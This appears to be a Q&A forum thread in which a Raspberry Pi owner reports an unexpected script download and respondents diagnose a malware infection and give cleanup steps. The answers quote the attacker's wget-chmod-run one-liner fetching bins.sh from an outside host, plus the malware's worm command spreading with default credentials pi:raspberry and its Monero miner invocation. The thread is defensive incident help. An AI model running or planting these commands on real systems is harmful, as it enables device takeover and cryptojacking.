confusing ssh situation, remove host?

Question

i recently ssh into one of my remote servers and as i did it. It questioned the authenticity of the hosts key and prompted me if i still wanted to connect. I selected yes and after a while once i finished working i disconnected. Then later i was updating my linux OS so i rebooted my machine and after i re logged in it completed a funny looking operation i had not set it todo

here is what i saw (with the i.p. partailly censored):

converted 'http://secure2.proxychecker.site//bins.sh' (ANSI_X3.4-1968) -> 'http://secure2.proxychecker.site//bins.sh' (UTF-8)
--2017-03-22 23:00:25--  http://secure2.proxychecker.site//bins.sh
Resolving secure2.proxychecker.site (secure2.proxychecker.site)... 54.200.xxx.xxx
Connecting to secure2.proxychecker.site (secure2.proxychecker.site)|54.200.xxx.xxx|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3013 (2.9K) [text/x-sh]
Saving to: 'bins.sh'

bins.sh                      100%[===============================================>]   2.94K  --.-KB/s   in 0.003s

2017-03-22 23:00:25 (921 KB/s) - 'bins.sh' saved [3013/3013]

How would i fix it so it would not do this again

hardware: raspberry pi 3 model B software: raspian jessie lite

Answer 1

Somebody took control on your RPi, because you let default password for pi and/or root user. So he downloaded this script abd you will find into your something like :

cd /;wget http://secure2.proxychecker.site//bins.sh -O bins.sh;chmod 777 bins.sh;sudo nohup ./bins.sh &>/dev/null &

and cleaning all in the end. And launch some kind of bitcoin cpuminer software named minerd. See also this

I advise to rewrite your SD card again.

Answer 2

1.edit .bashrc

vi ~/.bashrc

edit file to delete wget:http://secure2.proxychecker.site//bins.sh

2.kill process

read the script http://secure2.proxychecker.site//bins.sh it will run 2 process

nohup node scan.js 1 pi:raspberry http://secure2.proxychecker.site//bins.sh &>/dev/null &

./minerd -t 1 -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u [email protected] -p $myHN$cpuTemp1"."$cpuTempM

find them pid and kill

ps -ef |grep ./minerd
ps -ef |grep scan.js

3.change the system user password

do not use simple password and default password